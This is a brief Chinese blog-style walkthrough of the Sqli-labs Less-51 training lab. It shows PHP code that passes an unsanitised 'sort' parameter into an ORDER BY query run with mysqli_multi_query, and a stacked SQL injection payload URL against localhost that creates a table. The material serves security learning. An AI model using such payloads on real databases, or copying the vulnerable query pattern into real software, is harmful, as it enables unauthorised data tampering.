输入banner图图片脚本导航/分类

Sqli-labs Less-51 order by后的堆叠注入

=$_GET[‘sort‘]; $sql="SELECT * FROM users ORDER BY ‘$id‘"; mysqli_multi_query($con1, $sql);

我们此处要进行stacked injection,要注释掉‘,此处给出payload:

http://127.0.0.1/sql/Less-51/?sort=1‘;create table less51 like users--+

创建表less51

技术图片

Sqli-labs Less-51 order by后的堆叠注入

标签:class   use   mysqli   图片   from   order by   inject   image   pre